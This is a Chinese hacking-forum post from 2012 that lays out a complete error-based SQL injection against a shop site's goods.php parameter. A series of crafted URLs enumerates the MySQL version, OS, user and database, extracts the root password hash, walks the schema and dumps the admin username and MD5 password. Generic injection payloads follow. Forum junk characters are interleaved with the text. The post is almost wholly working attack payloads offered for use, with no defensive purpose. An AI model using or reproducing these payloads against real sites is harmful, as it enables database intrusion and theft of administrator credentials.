找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2484|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
判断版本号
9 c4 W7 S3 y# P! O' \; chttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
5 L( x- w* c. ?; E1 Z
+ Z9 a3 g6 y3 d' ~判断系统. ?' ?+ [4 X% Z( m0 P% M

/ [+ ?& e' z' z7 _) s) @http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
# A& m( U0 r9 E8 i# J0 P9 M( j9 ]: ^& o

5 {5 U. e3 `1 m. Y: d4 O: m, M7 G/ Y) c
当前 user()+ U, C$ ]' e* [
4 ~5 g9 w' J# |" D6 e
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
6 u' ?* Y0 e5 N* i! ], {6 P- p' r$ F5 u

: n* t# ?0 m2 [7 ]7 Q
( i- u, ?% h. z8 _  Q& x( ~当前 database()
9 j0 o; Z  _& E& ?, `5 `7 }http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
' ]4 c' @) _6 G4 T, A
5 \$ R+ g2 r( i: y/ i
3 a4 s8 |# A5 ^/ l$ J  V; o- J$ L6 J4 k5 ], c! X
/ c8 ?! h4 c( ~. t1 s. y
root hash
0 F# T! C& [$ J1 r6 f& m" k, w6 i- p0 o* W6 `6 T$ B0 o
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%231 q7 I5 o0 E5 G/ o" x0 `( H' q
8 q5 K+ _0 s6 c7 J
+ O' F; j' u: d7 `4 l
! B" d' F: o/ n  z
当前 数据库表名' ?0 i# d+ s+ }" N' Y3 d# ]
$ o0 \- k+ j  x' j7 g+ z- ?
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
: Z0 Q7 q/ A7 k$ R6 L
$ `/ A  A; H+ v' h  q1 @: q) k2 g+ {: V9 U9 u
! ]. K* P% q' t4 s$ b
当前 数据库 user_name 字段
+ @4 K* ?3 E. T9 f+ z- R3 R. T$ {: ^
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23/ E; n  @) l% Q# I% F2 P
# W4 x! T3 J3 ?
当前 数据库 字段 password% k" J& b' Q- z7 S* v
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
' l. |% b3 @4 H5 ^& j; p6 O  U. a% y0 f

' H% o; \, \3 n- ~
/ v/ V) f: [& |: ]- L) S1 M0 F获得 admin passwd(md5)
0 c5 p8 y0 w; v0 ?
: d* V% _* O& f) n- ^9 o2 y8 k) s
) \9 I3 N9 x, T5 Mhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%236 i2 F2 ?0 [/ m" e$ ^1 S1 o9 W

4 Z6 T! Q6 a) [3 q1 n9 X+ g报错注射
0 O0 V4 o  o  V+ cSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
- C+ _# ]- K2 i, K! O
# u; n& e; l6 u. }( h: pSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)( p6 X0 O1 l8 f3 Y! U0 H, [2 F
: N# @0 {+ K( f* C$ n, {) I6 t
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表